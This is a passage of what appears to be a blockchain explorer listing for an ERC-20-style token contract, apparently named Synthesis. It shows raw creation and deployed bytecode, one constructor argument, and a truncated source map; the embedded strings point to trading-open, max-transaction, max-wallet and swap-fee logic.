5b600081848411156113375760405162461bcd60e51b815260040161049791906116b8565b50600061134484866119cc565b95945050505050565b60008260000361135f57506000610446565b600061136b83856118e7565b90508261137885836119df565b146113cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b9392505050565b60006113cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168a565b600081831161142757826113cf565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147557611475611a01565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f29190611933565b8160018151811061150557611505611a01565b6001600160a01b03928316602091820292909201015260125461152b9130911684610aa2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611564908590600090869030904290600401611a17565b600060405180830381600087803b15801561157e57600080fd5b505af1158015611592573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156115e5573d6000803e3d6000fd5b5050565b6000806115f683856119a0565b9050838110156113cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b60006113cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611313565b600081836116ab5760405162461bcd60e51b815260040161049791906116b8565b50600061134484866119df565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063a57600080fd5b6000806040838503121561172e57600080fd5b823561173981611706565b946020939093013593505050565b60008060006060848603121561175c57600080fd5b833561176781611706565b9250602084013561177781611706565b929592945050506040919091013590565b60006020828403121561179a57600080fd5b81356113cf81611706565b600080604083850312156117b857600080fd5b82356117c381611706565b915060208301356117d381611706565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182f578160001904821115611815576118156117de565b8085161561182257918102915b93841c93908002906117f9565b509250929050565b60008261184657506001610446565b8161185357506000610446565b816001811461186957600281146118735761188f565b6001915050610446565b60ff841115611884576118846117de565b50506001821b610446565b5060208310610133831016604e8410600b84101617156118b2575081810a610446565b6118bc83836117f4565b80600019048211156118d0576118d06117de565b029392505050565b60006113cf60ff841683611837565b8082028115828204841417610446576104466117de565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561194557600080fd5b81516113cf81611706565b60008060006060848603121561196557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199057600080fd5b815180151581146113cf57600080fd5b80820180821115610446576104466117de565b6000600182016119c5576119c56117de565b5060010190565b81810381811115610446576104466117de565b6000826119fc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a675784516001600160a01b031683529383019391830191600101611a42565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220067b434deb337e6121b33626df767f2cc6fabf844b9a52fae4bca2b68240d57064736f6c634300081300330000000000000000000000005f95b99e26a71871d049d2149b53af3db4d3db56

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461035d578063a9059cbb1461038b578063c3da068f146103ab578063c876d0b9146103c0578063dd62ed3e146103da578063e4757be71461042057600080fd5b806370a08231146102c8578063715018a6146102fe5780637830b0721461031357806382247ec0146103295780638da5cb5b1461033f57600080fd5b80631a92396b116100fd5780631a92396b1461022a5780631dbec0e71461024057806323b872dd14610257578063313ce5671461027757806349bd5a5e146102935780635672ca93146102b357600080fd5b806306fdde0314610145578063095ea7b3146101895780630faee56f146101b95780631694505e146101dd57806318160ddd1461021557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600981526853796e74686573697360b81b60208201525b60405161018091906116b8565b60405180910390f35b34801561019557600080fd5b506101a96101a436600461171b565b610435565b6040519015158152602001610180565b3480156101c557600080fd5b506101cf60115481565b604051908152602001610180565b3480156101e957600080fd5b506012546101fd906001600160a01b031681565b6040516001600160a01b039091168152602001610180565b34801561022157600080fd5b506101cf61044c565b34801561023657600080fd5b506101cf60105481565b34801561024c57600080fd5b5061025561046d565b005b34801561026357600080fd5b506101a9610272366004611747565b610532565b34801561028357600080fd5b5060405160128152602001610180565b34801561029f57600080fd5b506013546101fd906001600160a01b031681565b3480156102bf57600080fd5b5061025561059b565b3480156102d457600080fd5b506101cf6102e3366004611788565b6001600160a01b031660009081526001602052604090205490565b34801561030a57600080fd5b5061025561063d565b34801561031f57600080fd5b506101cf600e5481565b34801561033557600080fd5b506101cf600f5481565b34801561034b57600080fd5b506000546001600160a01b03166101fd565b34801561036957600080fd5b506040805180820190915260058152640a6b29ca8960db1b6020820152610173565b34801561039757600080fd5b506101a96103a636600461171b565b6106b1565b3480156103b757600080fd5b506102556106be565b3480156103cc57600080fd5b506005546101a99060ff1681565b3480156103e657600080fd5b506101cf6103f53660046117a5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042c57600080fd5b5061025561075b565b6000610442338484610aa2565b5060015b92915050565b600061045a6012600a6118d8565b610468906305f5e1006118e7565b905090565b6000546001600160a01b031633146104a05760405162461bcd60e51b8152600401610497906118fe565b60405180910390fd5b6104ac6012600a6118d8565b6104ba906305f5e1006118e7565b600e556104c96012600a6118d8565b6104d7906305f5e1006118e7565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105116012600a6118d8565b61051f906305f5e1006118e7565b60405190815260200160405180910390a1565b600061053f848484610bc6565b610591843361058c85604051806060016040528060288152602001611a89602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611313565b610aa2565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b8152600401610497906118fe565b6000471161060e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610497565b60405133904780156108fc02916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106675760405162461bcd60e51b8152600401610497906118fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610442338484610bc6565b6000546001600160a01b031633146106e85760405162461bcd60e51b8152600401610497906118fe565b601354600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610497565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107855760405162461bcd60e51b8152600401610497906118fe565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556107cd913091906107bf90600a6118d8565b61058c906305f5e1006118e7565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108449190611933565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca9190611933565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611933565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610983816001600160a01b031660009081526001602052604090205490565b6000806109986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a259190611950565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a919061197e565b6001600160a01b038316610b045760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b038216610b655760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610c8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b60008111610cee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b600081610d036000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d3257506000546001600160a01b03858116911614155b8015610d4757506001600160a01b0385163014155b156111cf576001600160a01b03851660009081526003602052604090205460ff16158015610d8e57506001600160a01b03841660009081526003602052604090205460ff16155b15610de257601354600160a01b900460ff16610de25760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610497565b60055460ff1615610e9b576012546001600160a01b03858116911614801590610e1957506013546001600160a01b03858116911614155b15610e9b57326000908152600460205260409020544311610e885760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610497565b3260009081526004602052604090204390555b6013546001600160a01b038681169116148015610ec657506012546001600160a01b03858116911614155b8015610eeb57506001600160a01b03841660009081526003602052604090205460ff16155b15610fc957600e54831115610f385760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610497565b600f5483610f5b866001600160a01b031660009081526001602052604090205490565b610f6591906119a0565b1115610fb35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610497565b600d8054906000610fc3836119b3565b91905055505b610ff56064610fef600a54600d5411610fe457600654610fe8565b6008545b869061134d565b906113d6565b6013549092506001600160a01b03858116911614801561101e57506001600160a01b0385163014155b15611112576005546001600160a01b036101009091048116908616036110a2576000915061109b6110816110626064610fef6006548861134d90919063ffffffff16565b61107c6064610fef6007548961134d90919063ffffffff16565b611418565b61107c6064610fef6008548861134d90919063ffffffff16565b9050611112565b600e548311156110ea5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610497565b61110f6064610fef600b54600d541161110557600754610fe8565b600954869061134d565b91505b3060009081526001602052604081205490506000600c54600d54118015611145575061114060105486611418565b601054145b601354909150600160a81b900460ff1615801561116f57506013546001600160a01b038781169116145b80156111845750601354600160b01b900460ff165b80156111935750600c54600d54115b801561119c5750805b156111cc576010548211156111c3576111c36111be8661107c85601154611418565b61142d565b6111cc476115a7565b50505b811561124957306000908152600160205260409020546111ef90836115e9565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112409086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461126c9082611648565b6001600160a01b0386166000908152600160205260409020556112b16112928484611648565b6001600160a01b038616600090815260016020526040902054906115e9565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112fb8686611648565b60405190815260200160405180910390a35050505050565b600081848411156113375760405162461bcd60e51b815260040161049791906116b8565b50600061134484866119cc565b95945050505050565b60008260000361135f57506000610446565b600061136b83856118e7565b90508261137885836119df565b146113cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b9392505050565b60006113cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168a565b600081831161142757826113cf565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147557611475611a01565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f29190611933565b8160018151811061150557611505611a01565b6001600160a01b03928316602091820292909201015260125461152b9130911684610aa2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611564908590600090869030904290600401611a17565b600060405180830381600087803b15801561157e57600080fd5b505af1158015611592573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156115e5573d6000803e3d6000fd5b5050565b6000806115f683856119a0565b9050838110156113cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b60006113cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611313565b600081836116ab5760405162461bcd60e51b815260040161049791906116b8565b50600061134484866119df565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063a57600080fd5b6000806040838503121561172e57600080fd5b823561173981611706565b946020939093013593505050565b60008060006060848603121561175c57600080fd5b833561176781611706565b9250602084013561177781611706565b929592945050506040919091013590565b60006020828403121561179a57600080fd5b81356113cf81611706565b600080604083850312156117b857600080fd5b82356117c381611706565b915060208301356117d381611706565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182f578160001904821115611815576118156117de565b8085161561182257918102915b93841c93908002906117f9565b509250929050565b60008261184657506001610446565b8161185357506000610446565b816001811461186957600281146118735761188f565b6001915050610446565b60ff841115611884576118846117de565b50506001821b610446565b5060208310610133831016604e8410600b84101617156118b2575081810a610446565b6118bc83836117f4565b80600019048211156118d0576118d06117de565b029392505050565b60006113cf60ff841683611837565b8082028115828204841417610446576104466117de565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561194557600080fd5b81516113cf81611706565b60008060006060848603121561196557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199057600080fd5b815180151581146113cf57600080fd5b80820180821115610446576104466117de565b6000600182016119c5576119c56117de565b5060010190565b81810381811115610446576104466117de565b6000826119fc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a675784516001600160a01b031683529383019391830191600101611a42565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220067b434deb337e6121b33626df767f2cc6fabf844b9a52fae4bca2b68240d57064736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005f95b99e26a71871d049d2149b53af3db4d3db56

-----Decoded View---------------
Arg [0] : _synAddress (address): 0x5F95B99e26A71871D049D2149B53aF3dB4D3DB56

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005f95b99e26a71871d049d2149b53af3db4d3db56


Deployed Bytecode Sourcemap

3663:8502:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5598:83;;;;;;;;;;-1:-1:-1;5668:5:0;;;;;;;;;;;;-1:-1:-1;;;5668:5:0;;;;5598:83;;;;;;;:::i;:::-;;;;;;;;11099:161;;;;;;;;;;-1:-1:-1;11099:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11099:161:0;1023:187:1;4728:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4728:51:0;1215:177:1;4902:41:0;;;;;;;;;;-1:-1:-1;4902:41:0;;;;-1:-1:-1;;;;;4902:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4902:41:0;1397:229:1;6422:100:0;;;;;;;;;;;;;:::i;4660:61::-;;;;;;;;;;;;;;;;10053:208;;;;;;;;;;;;;:::i;:::-;;10627:313;;;;;;;;;;-1:-1:-1;10627:313:0;;;;;:::i;:::-;;:::i;7004:83::-;;;;;;;;;;-1:-1:-1;7004:83:0;;4459:2;2234:36:1;;2222:2;2207:18;7004:83:0;2092:184:1;4950:28:0;;;;;;;;;;-1:-1:-1;4950:28:0;;;;-1:-1:-1;;;;;4950:28:0;;;11480:189;;;;;;;;;;;;;:::i;6873:119::-;;;;;;;;;;-1:-1:-1;6873:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6966:18:0;6939:7;6966:18;;;:9;:18;;;;;;;6873:119;2742:148;;;;;;;;;;;;;:::i;4544:49::-;;;;;;;;;;;;;;;;4600:53;;;;;;;;;;;;;;;;2528:79;;;;;;;;;;-1:-1:-1;2566:7:0;2593:6;-1:-1:-1;;;;;2593:6:0;2528:79;;5689:87;;;;;;;;;;-1:-1:-1;5761:7:0;;;;;;;;;;;;-1:-1:-1;;;5761:7:0;;;;5689:87;;10452:167;;;;;;;;;;-1:-1:-1;10452:167:0;;;;;:::i;:::-;;:::i;10269:175::-;;;;;;;;;;;;;:::i;4017:40::-;;;;;;;;;;-1:-1:-1;4017:40:0;;;;;;;;10948:143;;;;;;;;;;-1:-1:-1;10948:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11056:18:0;;;11029:7;11056:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10948:143;5788:581;;;;;;;;;;;;;:::i;11099:161::-;11174:4;11191:39;363:10;11214:7;11223:6;11191:8;:39::i;:::-;-1:-1:-1;11248:4:0;11099:161;;;;;:::o;6422:100::-;6475:7;4522:13;4459:2;4522;:13;:::i;:::-;4508:27;;:11;:27;:::i;:::-;6495:19;;6422:100;:::o;10053:208::-;2655:6;;-1:-1:-1;;;;;2655:6:0;363:10;2655:22;2647:67;;;;-1:-1:-1;;;2647:67:0;;;;;;;:::i;:::-;;;;;;;;;4522:13:::1;4459:2;4522;:13;:::i;:::-;4508:27;::::0;:11:::1;:27;:::i;:::-;10111:6;:21:::0;4522:13:::1;4459:2;4522;:13;:::i;:::-;4508:27;::::0;:11:::1;:27;:::i;:::-;10143:10;:23:::0;10179:20:::1;:26:::0;;-1:-1:-1;;10179:26:0::1;::::0;;10221:32:::1;4522:13;4459:2;-1:-1:-1::0;4522:13:0::1;:::i;:::-;4508:27;::::0;:11:::1;:27;:::i;:::-;10221:32;::::0;1361:25:1;;;1349:2;1334:18;10221:32:0::1;;;;;;;10053:208::o:0;10627:313::-;10725:4;10742:36;10752:6;10760:9;10771:6;10742:9;:36::i;:::-;10789:121;10798:6;363:10;10820:89;10858:6;10820:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10820:19:0;;;;;;:11;:19;;;;;;;;363:10;10820:33;;;;;;;;;;:37;:89::i;:::-;10789:8;:121::i;:::-;-1:-1:-1;10928:4:0;10627:313;;;;;:::o;11480:189::-;2655:6;;-1:-1:-1;;;;;2655:6:0;363:10;2655:22;2647:67;;;;-1:-1:-1;;;2647:67:0;;;;;;;:::i;:::-;11571:1:::1;11547:21;:25;11539:60;;;::::0;-1:-1:-1;;;11539:60:0;;5385:2:1;11539:60:0::1;::::0;::::1;5367:21:1::0;5424:2;5404:18;;;5397:30;-1:-1:-1;;;5443:18:1;;;5436:52;5505:18;;11539:60:0::1;5183:346:1::0;11539:60:0::1;11610:51;::::0;11618:10:::1;::::0;11639:21:::1;11610:51:::0;::::1;;;::::0;::::1;::::0;;;11639:21;11618:10;11610:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11480:189::o:0;2742:148::-;2655:6;;-1:-1:-1;;;;;2655:6:0;363:10;2655:22;2647:67;;;;-1:-1:-1;;;2647:67:0;;;;;;;:::i;:::-;2849:1:::1;2833:6:::0;;2812:40:::1;::::0;-1:-1:-1;;;;;2833:6:0;;::::1;::::0;2812:40:::1;::::0;2849:1;;2812:40:::1;2880:1;2863:19:::0;;-1:-1:-1;;;;;;2863:19:0::1;::::0;;2742:148::o;10452:167::-;10530:4;10547:42;363:10;10571:9;10582:6;10547:9;:42::i;10269:175::-;2655:6;;-1:-1:-1;;;;;2655:6:0;363:10;2655:22;2647:67;;;;-1:-1:-1;;;2647:67:0;;;;;;;:::i;:::-;10340:11:::1;::::0;-1:-1:-1;;;10340:11:0;::::1;;;10339:12;10331:47;;;::::0;-1:-1:-1;;;10331:47:0;;5736:2:1;10331:47:0::1;::::0;::::1;5718:21:1::0;5775:2;5755:18;;;5748:30;5814:25;5794:18;;;5787:53;5857:18;;10331:47:0::1;5534:347:1::0;10331:47:0::1;10389:11;:18:::0;;-1:-1:-1;;;;10418:18:0;-1:-1:-1;;;10418:18:0;;;10269:175::o;5788:581::-;2655:6;;-1:-1:-1;;;;;2655:6:0;363:10;2655:22;2647:67;;;;-1:-1:-1;;;2647:67:0;;;;;;;:::i;:::-;5856:15:::1;:80:::0;;-1:-1:-1;;;;;;5856:80:0::1;5893:42;5856:80:::0;;::::1;::::0;;5947:63:::1;::::0;5964:4:::1;::::0;5893:42;4522:13:::1;::::0;:2:::1;:13;:::i;:::-;4508:27;::::0;:11:::1;:27;:::i;5947:63::-;6055:15;;;;;;;;;-1:-1:-1::0;;;;;6055:15:0::1;-1:-1:-1::0;;;;;6055:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6037:55:0::1;;6101:4;6108:15;;;;;;;;;-1:-1:-1::0;;;;;6108:15:0::1;-1:-1:-1::0;;;;;6108:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6037:94;::::0;-1:-1:-1;;;;;;6037:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6372:15:1;;;6037:94:0::1;::::0;::::1;6354:34:1::0;6424:15;;6404:18;;;6397:43;6289:18;;6037:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6021:13;:110:::0;;-1:-1:-1;;;;;6021:110:0;;::::1;-1:-1:-1::0;;;;;;6021:110:0;;::::1;;::::0;;6142:15:::1;::::0;::::1;:31;6181:21;6212:4;6218:24;6212:4:::0;-1:-1:-1;;;;;6966:18:0;6939:7;6966:18;;;:9;:18;;;;;;;6873:119;6218:24:::1;6243:1;6245::::0;6247:7:::1;2566::::0;2593:6;-1:-1:-1;;;;;2593:6:0;;2528:79;6247:7:::1;6142:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6142:129:0;;;-1:-1:-1;;;;;6810:15:1;;;6142:129:0::1;::::0;::::1;6792:34:1::0;6842:18;;;6835:34;;;;6885:18;;;6878:34;;;;6928:18;;;6921:34;6992:15;;;6971:19;;;6964:44;6255:15:0::1;7024:19:1::0;;;7017:35;6726:19;;6142:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6289:13:0::1;::::0;6320:15:::1;::::0;6282:71:::1;::::0;-1:-1:-1;;;6282:71:0;;-1:-1:-1;;;;;6320:15:0;;::::1;6282:71;::::0;::::1;7548:51:1::0;-1:-1:-1;;7615:18:1;;;7608:34;6289:13:0;::::1;::::0;-1:-1:-1;6282:29:0::1;::::0;7521:18:1;;6282:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6530:335::-:0;-1:-1:-1;;;;;6623:19:0;;6615:68;;;;-1:-1:-1;;;6615:68:0;;8137:2:1;6615:68:0;;;8119:21:1;8176:2;8156:18;;;8149:30;8215:34;8195:18;;;8188:62;-1:-1:-1;;;8266:18:1;;;8259:34;8310:19;;6615:68:0;7935:400:1;6615:68:0;-1:-1:-1;;;;;6702:21:0;;6694:68;;;;-1:-1:-1;;;6694:68:0;;8542:2:1;6694:68:0;;;8524:21:1;8581:2;8561:18;;;8554:30;8620:34;8600:18;;;8593:62;-1:-1:-1;;;8671:18:1;;;8664:32;8713:19;;6694:68:0;8340:398:1;6694:68:0;-1:-1:-1;;;;;6773:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6825:32;;1361:25:1;;;6825:32:0;;1334:18:1;6825:32:0;;;;;;;6530:335;;;:::o;7095:2950::-;-1:-1:-1;;;;;7183:18:0;;7175:68;;;;-1:-1:-1;;;7175:68:0;;8945:2:1;7175:68:0;;;8927:21:1;8984:2;8964:18;;;8957:30;9023:34;9003:18;;;8996:62;-1:-1:-1;;;9074:18:1;;;9067:35;9119:19;;7175:68:0;8743:401:1;7175:68:0;-1:-1:-1;;;;;7262:16:0;;7254:64;;;;-1:-1:-1;;;7254:64:0;;9351:2:1;7254:64:0;;;9333:21:1;9390:2;9370:18;;;9363:30;9429:34;9409:18;;;9402:62;-1:-1:-1;;;9480:18:1;;;9473:33;9523:19;;7254:64:0;9149:399:1;7254:64:0;7346:1;7337:6;:10;7329:64;;;;-1:-1:-1;;;7329:64:0;;9755:2:1;7329:64:0;;;9737:21:1;9794:2;9774:18;;;9767:30;9833:34;9813:18;;;9806:62;-1:-1:-1;;;9884:18:1;;;9877:39;9933:19;;7329:64:0;9553:405:1;7329:64:0;7406:23;7469:6;7500:7;2566;2593:6;-1:-1:-1;;;;;2593:6:0;;2528:79;7500:7;-1:-1:-1;;;;;7492:15:0;:4;-1:-1:-1;;;;;7492:15:0;;;:32;;;;-1:-1:-1;2566:7:0;2593:6;-1:-1:-1;;;;;7511:13:0;;;2593:6;;7511:13;;7492:32;:57;;;;-1:-1:-1;;;;;;7528:21:0;;7544:4;7528:21;;7492:57;7488:2162;;;-1:-1:-1;;;;;7583:24:0;;;;;;:18;:24;;;;;;;;7582:25;:52;;;;-1:-1:-1;;;;;;7612:22:0;;;;;;:18;:22;;;;;;;;7611:23;7582:52;7578:136;;;7663:11;;-1:-1:-1;;;7663:11:0;;;;7655:43;;;;-1:-1:-1;;;7655:43:0;;10165:2:1;7655:43:0;;;10147:21:1;10204:2;10184:18;;;10177:30;-1:-1:-1;;;10223:18:1;;;10216:49;10282:18;;7655:43:0;9963:343:1;7655:43:0;7735:20;;;;7731:346;;;7794:15;;-1:-1:-1;;;;;7780:30:0;;;7794:15;;7780:30;;;;:62;;-1:-1:-1;7828:13:0;;-1:-1:-1;;;;;7814:28:0;;;7828:13;;7814:28;;7780:62;7776:286;;;7902:9;7873:39;;;;:28;:39;;;;;;7915:12;-1:-1:-1;7865:102:0;;;;-1:-1:-1;;;7865:102:0;;10513:2:1;7865:102:0;;;10495:21:1;10552:2;10532:18;;;10525:30;10591:34;10571:18;;;10564:62;-1:-1:-1;;;10642:18:1;;;10635:34;10686:19;;7865:102:0;10311:400:1;7865:102:0;8017:9;7988:39;;;;:28;:39;;;;;8030:12;7988:54;;7776:286;8105:13;;-1:-1:-1;;;;;8097:21:0;;;8105:13;;8097:21;:55;;;;-1:-1:-1;8136:15:0;;-1:-1:-1;;;;;8122:30:0;;;8136:15;;8122:30;;8097:55;:83;;;;-1:-1:-1;;;;;;8158:22:0;;;;;;:18;:22;;;;;;;;8156:24;8097:83;8093:313;;;8220:6;;8210;:16;;8202:48;;;;-1:-1:-1;;;8202:48:0;;10918:2:1;8202:48:0;;;10900:21:1;10957:2;10937:18;;;10930:30;-1:-1:-1;;;10976:18:1;;;10969:49;11035:18;;8202:48:0;10716:343:1;8202:48:0;8303:10;;8293:6;8277:13;8287:2;-1:-1:-1;;;;;6966:18:0;6939:7;6966:18;;;:9;:18;;;;;;;6873:119;8277:13;:22;;;;:::i;:::-;:36;;8269:75;;;;-1:-1:-1;;;8269:75:0;;11396:2:1;8269:75:0;;;11378:21:1;11435:2;11415:18;;;11408:30;11474:28;11454:18;;;11447:56;11520:18;;8269:75:0;11194:350:1;8269:75:0;8379:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8093:313;8442:73;8511:3;8442:64;8464:15;;8454:9;;:25;8453:52;;8494:11;;8453:52;;;8481:12;;8453:52;8442:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8539:13;;8424:91;;-1:-1:-1;;;;;;8533:19:0;;;8539:13;;8533:19;:43;;;;-1:-1:-1;;;;;;8556:20:0;;8571:4;8556:20;;8533:43;8530:542;;;8616:16;;-1:-1:-1;;;;;8616:16:0;;;;;;8600:33;;;;8597:460;;8676:1;8658:19;;8711:112;8715:72;8719:32;8747:3;8719:23;8730:11;;8719:6;:10;;:23;;;;:::i;:32::-;8753:33;8782:3;8753:24;8764:12;;8753:6;:10;;:24